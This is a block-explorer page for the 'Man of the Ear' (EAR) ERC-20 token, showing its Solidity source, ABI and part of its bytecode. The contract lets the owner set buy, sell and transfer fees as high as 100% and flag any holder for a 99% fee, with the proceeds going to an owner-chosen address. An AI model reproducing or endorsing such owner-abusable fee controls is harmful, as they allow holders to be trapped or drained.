Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
100,000 EAR
Holders
89
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
EAR
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-07-17 */ /** Website: https://www.manoftheear.net Telegram: https://t.me/ManOfTheEar_ERC20 Twitter: https://x.com/ManOfTheEar_ERC */ // SPDX-License-Identifier: MIT pragma solidity 0.8.19; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC20 { function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value);} abstract contract Ownable { address internal owner; constructor(address _owner) {owner = _owner;} modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;} function isOwner(address account) public view returns (bool) {return account == owner;} function transferOwnership(address payable adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);} event OwnershipTransferred(address owner); } interface IFactory{ function createPair(address tokenA, address tokenB) external returns (address pair); function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; } contract EAR is IERC20, Ownable { using SafeMath for uint256; string private constant _name = unicode"Man of the Ear"; string private constant _symbol = unicode"EAR"; uint8 private constant _decimals = 9; uint256 private _totalSupply = 100000 * (10 ** _decimals); mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) public isFeeExempt; mapping (address => bool) private isBot; IRouter router; address public pair; bool private tradingAllowed = false; bool private swapEnabled = true; uint256 private swapTimes; bool private swapping; uint256 swapAmount = 1; uint256 private swapThreshold = ( _totalSupply * 1000 ) / 100000; uint256 private minTokenAmount = ( _totalSupply * 10 ) / 100000; modifier lockTheSwap {swapping = true; _; swapping = false;} uint256 private liquidityFee = 0; uint256 private marketingFee = 1000; uint256 private developmentFee = 1000; uint256 private burnFee = 0; uint256 private totalFee = 2000; uint256 private sellFee = 3000; uint256 private transferFee = 3000; uint256 private denominator = 10000; address internal constant DEAD = 0x000000000000000000000000000000000000dEaD; address internal development_receiver = 0xdF6EA89316b656F5f69C90d8e048DBe114f1A495; address internal marketing_receiver = 0xdF6EA89316b656F5f69C90d8e048DBe114f1A495; address internal liquidity_receiver = 0xdF6EA89316b656F5f69C90d8e048DBe114f1A495; uint256 public _maxTxAmount = ( _totalSupply * 200 ) / 10000; uint256 public _maxSellAmount = ( _totalSupply * 200 ) / 10000; uint256 public _maxWalletToken = ( _totalSupply * 200 ) / 10000; constructor() Ownable(msg.sender) { IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH()); router = _router; pair = _pair; isFeeExempt[address(this)] = true; isFeeExempt[liquidity_receiver] = true; isFeeExempt[marketing_receiver] = true; isFeeExempt[development_receiver] = true; isFeeExempt[msg.sender] = true; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } receive() external payable {} function name() public pure returns (string memory) {return _name;} function symbol() public pure returns (string memory) {return _symbol;} function decimals() public pure returns (uint8) {return _decimals;} function startTrading() external onlyOwner {tradingAllowed = true;} function getOwner() external view override returns (address) { return owner; } function balanceOf(address account) public view override returns (uint256) {return _balances[account];} function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;} function allowance(address owner, address spender) public view override returns (uint256) {return _allowances[owner][spender];} function setisExempt(address _address, bool _enabled) external onlyOwner {isFeeExempt[_address] = _enabled;} function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;} function totalSupply() public view override returns (uint256) {return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));} function shouldContractSwap(address sender, address recipient, uint256 amount) internal view returns (bool) { bool aboveMin = amount >= minTokenAmount; bool aboveThreshold = balanceOf(address(this)) >= swapThreshold; return !swapping && swapEnabled && tradingAllowed && aboveMin && !isFeeExempt[sender] && recipient == pair && swapTimes >= swapAmount && aboveThreshold; } function setContractSwapSettings(uint256 _swapAmount, uint256 _swapThreshold, uint256 _minTokenAmount) external onlyOwner { swapAmount = _swapAmount; swapThreshold = _totalSupply.mul(_swapThreshold).div(uint256(100000)); minTokenAmount = _totalSupply.mul(_minTokenAmount).div(uint256(100000)); } function setFee(uint256 _liquidity, uint256 _marketing, uint256 _burn, uint256 _development, uint256 _total, uint256 _sell, uint256 _trans) external onlyOwner { liquidityFee = _liquidity; marketingFee = _marketing; burnFee = _burn; developmentFee = _development; totalFee = _total; sellFee = _sell; transferFee = _trans; require(totalFee <= denominator.div(1) && sellFee <= denominator.div(1) && transferFee <= denominator.div(1), "totalFee and sellFee too high"); } function setTxnLimits(uint256 _buy, uint256 _sell, uint256 _wallet) external onlyOwner { uint256 newTx = _totalSupply.mul(_buy).div(10000); uint256 newTransfer = _totalSupply.mul(_sell).div(10000); uint256 newWallet = _totalSupply.mul(_wallet).div(10000); _maxTxAmount = newTx; _maxSellAmount = newTransfer; _maxWalletToken = newWallet; uint256 limit = totalSupply().mul(5).div(1000); require(newTx >= limit && newTransfer >= limit && newWallet >= limit, "Max TXs and Max Wallet cannot be less than .5%"); } function setMarketingAddress(address _marketing, address _liquidity, address _development) external onlyOwner { marketing_receiver = _marketing; liquidity_receiver = _liquidity; development_receiver = _development; isFeeExempt[_marketing] = true; isFeeExempt[_liquidity] = true; isFeeExempt[_development] = true; } function addBots(address[] calldata addresses, bool _enabled) external onlyOwner { for(uint i=0; i < addresses.length; i++){ isBot[addresses[i]] = _enabled; } } function manualEarSwap() external onlyOwner { uint256 amount = balanceOf(address(this)); if(amount > swapThreshold){amount = swapThreshold;} swapAndLiquify(amount); } function rescueERC20(address _address, uint256 percent) external onlyOwner { uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100); IERC20(_address).transfer(development_receiver, _amount); } function swapAndLiquify(uint256 tokens) private lockTheSwap { uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2); uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator); uint256 toSwap = tokens.sub(tokensToAddLiquidityWith); uint256 initialBalance = address(this).balance; swapTokensForETH(toSwap); uint256 deltaBalance = address(this).balance.sub(initialBalance); uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee)); uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee); if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); } uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee); if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);} uint256 contractBalance = address(this).balance; if(contractBalance > uint256(0)){payable(development_receiver).transfer(contractBalance);} } function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private { _approve(address(this), address(router), tokenAmount); router.addLiquidityETH{value: ETHAmount}( address(this), tokenAmount, 0, 0, liquidity_receiver, block.timestamp); } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp); } function shouldTakeFee(address sender, address recipient) internal view returns (bool) { return !isFeeExempt[sender] && !isFeeExempt[recipient]; } function getTotalFee(address sender, address recipient) internal view returns (uint256) { if(isBot[sender] || isBot[recipient]){return denominator.sub(uint256(100));} if(recipient == pair){return sellFee;} if(sender == pair){return totalFee;} return transferFee; } function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) { if(getTotalFee(sender, recipient) > 0){ uint256 feeAmount = amount.div(denominator).mul(getTotalFee(sender, recipient)); _balances[address(this)] = _balances[address(this)].add(feeAmount); emit Transfer(sender, address(this), feeAmount); if(burnFee > uint256(0) && getTotalFee(sender, recipient) > burnFee){_transfer(address(this), address(DEAD), amount.div(denominator).mul(burnFee));} return amount.sub(feeAmount);} return amount; } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount <= balanceOf(sender),"You are trying to transfer more than your balance"); if(!isFeeExempt[sender] && !isFeeExempt[recipient]){require(tradingAllowed, "tradingAllowed");} if(!isFeeExempt[sender] && !isFeeExempt[recipient] && recipient != address(pair) && recipient != address(DEAD)){ require((_balances[recipient].add(amount)) <= _maxWalletToken, "Exceeds maximum wallet amount.");} if(sender != pair){require(amount <= _maxSellAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded");} require(amount <= _maxTxAmount || isFeeExempt[sender] || isFeeExempt[recipient], "TX Limit Exceeded"); if(recipient == pair && !isFeeExempt[sender]){swapTimes += uint256(1);} if(shouldContractSwap(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);} _balances[sender] = _balances[sender].sub(amount); uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount; _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(sender, recipient, amountReceived); } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxSellAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addresses","type":"address[]"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualEarSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_swapAmount","type":"uint256"},{"internalType":"uint256","name":"_swapThreshold","type":"uint256"},{"internalType":"uint256","name":"_minTokenAmount","type":"uint256"}],"name":"setContractSwapSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_marketing","type":"address"},{"internalType":"address","name":"_liquidity","type":"address"},{"internalType":"address","name":"_development","type":"address"}],"name":"setMarketingAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setTxnLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526009600a62000014919062000905565b620186a062000024919062000956565b6001556000600760146101000a81548160ff0219169083151502179055506001600760156101000a81548160ff0219169083151502179055506001600a55620186a06103e860015462000078919062000956565b620000849190620009d0565b600b55620186a0600a6001546200009c919062000956565b620000a89190620009d0565b600c556000600d556103e8600e556103e8600f5560006010556107d0601155610bb8601255610bb860135561271060145573df6ea89316b656f5f69c90d8e048dbe114f1a495601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073df6ea89316b656f5f69c90d8e048dbe114f1a495601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073df6ea89316b656f5f69c90d8e048dbe114f1a495601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061271060c8600154620001ec919062000956565b620001f89190620009d0565b60185561271060c86001546200020f919062000956565b6200021b9190620009d0565b60195561271060c860015462000232919062000956565b6200023e9190620009d0565b601a553480156200024e57600080fd5b5033806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506000737a250d5630b4cf539739df2c5dacb4c659f2488d905060008173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002f8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200031e919062000a72565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308473ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000386573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003ac919062000a72565b6040518363ffffffff1660e01b8152600401620003cb92919062000ab5565b6020604051808303816000875af1158015620003eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000411919062000a72565b905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600154600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6001546040516200075b919062000af3565b60405180910390a3505062000b10565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620007f957808604811115620007d157620007d06200076b565b5b6001851615620007e15780820291505b8081029050620007f1856200079a565b9450620007b1565b94509492505050565b600082620008145760019050620008e7565b81620008245760009050620008e7565b81600181146200083d576002811462000848576200087e565b6001915050620008e7565b60ff8411156200085d576200085c6200076b565b5b8360020a9150848211156200087757620008766200076b565b5b50620008e7565b5060208310610133831016604e8410600b8410161715620008b85782820a905083811115620008b257620008b16200076b565b5b620008e7565b620008c78484846001620007a7565b92509050818404811115620008e157620008e06200076b565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200091282620008ee565b91506200091f83620008f8565b92506200094e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000802565b905092915050565b60006200096382620008ee565b91506200097083620008ee565b92508282026200098081620008ee565b915082820484148315176200099a57620009996200076b565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620009dd82620008ee565b9150620009ea83620008ee565b925082620009fd57620009fc620009a1565b5b828204905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000a3a8262000a0d565b9050919050565b62000a4c8162000a2d565b811462000a5857600080fd5b50565b60008151905062000a6c8162000a41565b92915050565b60006020828403121562000a8b5762000a8a62000a08565b5b600062000a9b8482850162000a5b565b91505092915050565b62000aaf8162000a2d565b82525050565b600060408201905062000acc600083018562000aa4565b62000adb602083018462000aa4565b9392505050565b62000aed81620008ee565b82525050565b600060208201905062000b0a600083018462000ae2565b92915050565b613b0d8062000b206000396000f3fe6080604052600436106101855760003560e01c80637cca52fe116100d15780639d8740cb1161008a578063a9059cbb11610064578063a9059cbb14610569578063aeb5b9b5146105a6578063dd62ed3e146105cf578063f2fde38b1461060c5761018c565b80639d8740cb146104ec578063a0916b8214610515578063a8aa1b311461053e5761018c565b80637cca52fe146103ee5780637d1db4a5146104195780637e4ed88514610444578063893d20e81461046d5780638cd4426d1461049857806395d89b41146104c15761018c565b80632f54bf6e1161013e57806348ff2b8b1161011857806348ff2b8b1461033457806370a082311461035d57806378109e541461039a5780637b62db71146103c55761018c565b80632f54bf6e1461028f578063313ce567146102cc5780633f4218e0146102f75761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f957806323b872dd1461022457806326a0880f14610261578063293230b8146102785761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610635565b6040516101b39190612a73565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de9190612b33565b610672565b6040516101f09190612b8e565b60405180910390f35b34801561020557600080fd5b5061020e610689565b60405161021b9190612bb8565b60405180910390f35b34801561023057600080fd5b5061024b60048036038101906102469190612bd3565b6106ca565b6040516102589190612b8e565b60405180910390f35b34801561026d57600080fd5b50610276610795565b005b34801561028457600080fd5b5061028d610806565b005b34801561029b57600080fd5b506102b660048036038101906102b19190612c26565b61086b565b6040516102c39190612b8e565b60405180910390f35b3480156102d857600080fd5b506102e16108c4565b6040516102ee9190612c6f565b60405180910390f35b34801561030357600080fd5b5061031e60048036038101906103199190612c26565b6108cd565b60405161032b9190612b8e565b60405180910390f35b34801561034057600080fd5b5061035b60048036038101906103569190612cb6565b6108ed565b005b34801561036957600080fd5b50610384600480360381019061037f9190612c26565b610990565b6040516103919190612bb8565b60405180910390f35b3480156103a657600080fd5b506103af6109d9565b6040516103bc9190612bb8565b60405180910390f35b3480156103d157600080fd5b506103ec60048036038101906103e79190612cf6565b6109df565b005b3480156103fa57600080fd5b50610403610b5a565b6040516104109190612bb8565b60405180910390f35b34801561042557600080fd5b5061042e610b60565b60405161043b9190612bb8565b60405180910390f35b34801561045057600080fd5b5061046b60048036038101906104669190612d49565b610b66565b005b34801561047957600080fd5b50610482610d7e565b60405161048f9190612dab565b60405180910390f35b3480156104a457600080fd5b506104bf60048036038101906104ba9190612b33565b610da7565b005b3480156104cd57600080fd5b506104d6610f38565b6040516104e39190612a73565b60405180910390f35b3480156104f857600080fd5b50610513600480360381019061050e9190612cf6565b610f75565b005b34801561052157600080fd5b5061053c60048036038101906105379190612e2b565b611029565b005b34801561054a57600080fd5b50610553611116565b6040516105609190612dab565b60405180910390f35b34801561057557600080fd5b50610590600480360381019061058b9190612b33565b61113c565b60405161059d9190612b8e565b60405180910390f35b3480156105b257600080fd5b506105cd60048036038101906105c89190612e8b565b611153565b005b3480156105db57600080fd5b506105f660048036038101906105f19190612f2d565b611275565b6040516106039190612bb8565b60405180910390f35b34801561061857600080fd5b50610633600480360381019061062e9190612fab565b6112fc565b005b60606040518060400160405280600e81526020017f4d616e206f662074686520456172000000000000000000000000000000000000815250905090565b600061067f3384846113be565b6001905092915050565b60006106c56106986000610990565b6106b76106a661dead610990565b60015461158790919063ffffffff16565b61158790919063ffffffff16565b905090565b60006106d784848461159d565b61078a843361078585604051806060016040528060288152602001613ab060289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e679092919063ffffffff16565b6113be565b600190509392505050565b61079e3361086b565b6107dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d490613024565b60405180910390fd5b60006107e830610990565b9050600b548111156107fa57600b5490505b61080381611ebc565b50565b61080f3361086b565b61084e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084590613024565b60405180910390fd5b6001600760146101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006009905090565b60046020528060005260406000206000915054906101000a900460ff1681565b6108f63361086b565b610935576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092c90613024565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b601a5481565b6109e83361086b565b610a27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1e90613024565b60405180910390fd5b6000610a52612710610a448660015461212990919063ffffffff16565b61213f90919063ffffffff16565b90506000610a7f612710610a718660015461212990919063ffffffff16565b61213f90919063ffffffff16565b90506000610aac612710610a9e8660015461212990919063ffffffff16565b61213f90919063ffffffff16565b9050826018819055508160198190555080601a819055506000610af46103e8610ae66005610ad8610689565b61212990919063ffffffff16565b61213f90919063ffffffff16565b9050808410158015610b065750808310155b8015610b125750808210155b610b51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b48906130b6565b60405180910390fd5b50505050505050565b60195481565b60185481565b610b6f3361086b565b610bae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba590613024565b60405180910390fd5b82601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610db03361086b565b610def576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de690613024565b60405180910390fd5b6000610e906064610e82848673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610e339190612dab565b602060405180830381865afa158015610e50573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7491906130eb565b61212990919063ffffffff16565b61213f90919063ffffffff16565b90508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401610eef929190613118565b6020604051808303816000875af1158015610f0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f329190613156565b50505050565b60606040518060400160405280600381526020017f4541520000000000000000000000000000000000000000000000000000000000815250905090565b610f7e3361086b565b610fbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb490613024565b60405180910390fd5b82600a81905550610fee620186a0610fe08460015461212990919063ffffffff16565b61213f90919063ffffffff16565b600b8190555061101e620186a06110108360015461212990919063ffffffff16565b61213f90919063ffffffff16565b600c81905550505050565b6110323361086b565b611071576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106890613024565b60405180910390fd5b60005b8383905081101561111057816005600086868581811061109757611096613183565b5b90506020020160208101906110ac